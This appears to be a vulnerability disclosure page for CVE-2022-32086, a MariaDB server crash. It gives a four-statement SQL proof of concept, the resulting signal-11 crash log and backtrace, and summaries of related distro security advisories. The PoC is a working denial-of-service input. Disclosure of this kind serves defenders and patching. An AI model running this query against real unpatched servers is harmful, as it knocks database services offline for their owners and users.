Headline
CVE-2022-32086: [MDEV-26412] Server crash in Item_field::fix_outer_field for INSERT SELECT
MariaDB v10.4 to v10.8 was discovered to contain a segmentation fault via the component Item_field::fix_outer_field.
PoC:
CREATE TABLE v0 ( v1 BIGINT ( 67 ) NOT NULL ) ;
CREATE TABLE v2 ( v4 INT , v3 INT NOT NULL UNIQUE KEY CHECK ( -128 | ( str_to_date ( CHAR ( 33 ) , ‘x’ ) ) ) ) ;
DROP FUNCTION IF EXISTS v0 ;
INSERT INTO v0 SELECT DISTINCT * FROM v0 FULL JOIN v2 ON ( SELECT v0 . v1 ) ;
Crash Log:
Version: ‘10.7.0-MariaDB’ socket: ‘/tmp/18.socket’ port: 10018 Source distribution
210816 15:33:24 [ERROR] mysqld got signal 11 ;
This could be because you hit a bug. It is also possible that this binary
or one of the libraries it was linked against is corrupt, improperly built,
or misconfigured. This error can also be caused by malfunctioning hardware.
To report this bug, see https://mariadb.com/kb/en/reporting-bugs
We will try our best to scrape up some info that will hopefully help
diagnose the problem, but since we have already crashed,
something is definitely wrong and this may fail.
Server version: 10.7.0-MariaDB
key_buffer_size=134217728
read_buffer_size=131072
max_used_connections=1
max_threads=153
thread_count=1
It is possible that mysqld could use up to
key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 467956 K bytes of memory
Hope that’s ok; if not, decrease some variables in the equation.
Thread pointer: 0x62b0000bd218
Attempting backtrace. You can use the following information to find out
where mysqld died. If you see no messages after this, something went
terribly wrong…
stack_bottom = 0x7f722a3fd850 thread_stack 0x5fc00
sanitizer_common/sanitizer_common_interceptors.inc:4203(__interceptor_backtrace.part.0)[0x7f7249ca9c3e]
mysys/stacktrace.c:213(my_print_stacktrace)[0x55c05f113747]
sql/signal_handler.cc:222(handle_fatal_signal)[0x55c05e0db120]
sigaction.c:0(__restore_rt)[0x7f7249693870]
sql/item.cc:5561(Item_field::fix_outer_field(THD*, Field**, Item**))[0x55c05e168491]
sql/item.cc:5982(Item_field::fix_fields(THD*, Item**))[0x55c05e16b34c]
sql/item.h:1148(Item::fix_fields_if_needed_for_scalar(THD*, Item**))[0x55c05d80a2ed]
sql/sql_select.cc:1397(JOIN::prepare(TABLE_LIST*, Item*, unsigned int, st_order*, bool, st_order*, Item*, st_order*, st_select_lex*, st_select_lex_unit*))[0x55c05dac647c]
sql/item_subselect.cc:3903(subselect_single_select_engine::prepare(THD*))[0x55c05e3cf4f6]
sql/item_subselect.cc:295(Item_subselect::fix_fields(THD*, Item**))[0x55c05e3ccd05]
sql/item.h:1148(Item::fix_fields_if_needed_for_scalar(THD*, Item**))[0x55c05d810338]
sql/sql_base.cc:8454(setup_conds(THD*, TABLE_LIST*, List<TABLE_LIST>&, Item**))[0x55c05d810d40]
sql/sql_select.cc:833(JOIN::prepare(TABLE_LIST*, Item*, unsigned int, st_order*, bool, st_order*, Item*, st_order*, st_select_lex*, st_select_lex_unit*))[0x55c05dac6748]
sql/sql_select.cc:4967(mysql_select(THD*, TABLE_LIST*, List<Item>&, Item*, unsigned int, st_order*, st_order*, Item*, st_order*, unsigned long long, select_result*, st_select_lex_unit*, st_select_lex*))[0x55c05db0dcaa]
sql/sql_select.cc:545(handle_select(THD*, LEX*, select_result*, unsigned long))[0x55c05db0e655]
sql/sql_parse.cc:4718(mysql_execute_command(THD*, bool))[0x55c05d97d9c1]
sql/sql_parse.cc:8047(mysql_parse(THD*, char*, unsigned int, Parser_state*))[0x55c05d9805a1]
sql/sql_parse.cc:1898(dispatch_command(enum_server_command, THD*, char*, unsigned int, bool))[0x55c05d98660c]
sql/sql_parse.cc:1406(do_command(THD*, bool))[0x55c05d98b73d]
sql/sql_connect.cc:1418(do_handle_one_connection(CONNECT*, bool))[0x55c05dd46e57]
sql/sql_connect.cc:1312(handle_one_connection)[0x55c05dd4733d]
perfschema/pfs.cc:2204(pfs_spawn_thread)[0x55c05e7d7c2c]
pthread_create.c:0(start_thread)[0x7f7249689259]
:0(__GI___clone)[0x7f72492345e3]
Trying to get some variables.
Some pointers may be invalid and cause the dump to abort.
Query (0x629000087238): INSERT INTO v0 SELECT DISTINCT * FROM v0 FULL JOIN v2 ON ( SELECT v0 . v1 )
Connection ID (thread ID): 4
Status: NOT_KILLED
Related news
Gentoo Linux Security Advisory 202405-25 - Multiple vulnerabilities have been discovered in MariaDB, the worst fo which can lead to arbitrary execution of code. Versions greater than or equal to 10.11.3:10.11 are affected.
Ubuntu Security Notice 5739-1 - Several security issues were discovered in MariaDB and this update includes new upstream MariaDB versions to fix these issues. MariaDB has been updated to 10.3.37 in Ubuntu 20.04 LTS and to 10.6.11 in Ubuntu 22.04 LTS and Ubuntu 22.10. In addition to security fixes, the updated packages contain bug fixes, new features, and possibly incompatible changes.
An update for rh-mariadb105-galera and rh-mariadb105-mariadb is now available for Red Hat Software Collections. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application ...